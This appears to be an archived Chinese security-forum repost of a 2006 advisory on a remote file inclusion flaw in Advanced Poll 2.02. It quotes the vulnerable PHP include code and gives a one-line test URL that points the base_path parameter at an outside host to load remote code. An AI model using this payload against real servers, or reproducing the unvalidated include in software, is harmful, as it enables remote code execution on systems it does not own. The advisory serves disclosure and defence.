邪恶八进制信息安全团队技术讨论组's Archiver

睡猫 2006-8-3 00:38

[转载]Advanced Poll common.inc.php远程文件包含漏洞

信息来源:绿盟科技

发布日期:2006-07-21
更新日期:2006-07-24

受影响系统:
Proxy2 Advanced Poll 2.02
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 19105

Advanced Poll是用PHP编写的投票工具。

Advanced Poll没有正确地验证base_path参数的输入,导致远程攻击者可以通过包含本地或外部资源执行任意PHP代码。

/admin/common.inc.php中的漏洞代码:

$pollvars['SELF'] = basename($PHP_SELF);
if (file_exists("$base_path/lang/$pollvars[lang]")) {
include ("$base_path/lang/$pollvars[lang]");
} else {
include ("$base_path/lang/english.php");

<*来源:Solpot ([email]chris_hasibuan@yahoo.com[/email])
  
  链接:[url]http://www.solpotcrew.org/adv/solpot-adv-02.txt[/url]
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

[url]http://www.example.com/[/url][path_advanced_poll]/admin/common.inc.php?base_path=http:[url]www.example.com[/url]

建议:
--------------------------------------------------------------------------------
厂商补丁:

Proxy2
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

[url]http://proxy2.de/scripts.php[/url]

页: [1]
© 1999-2008 EvilOctal Security Team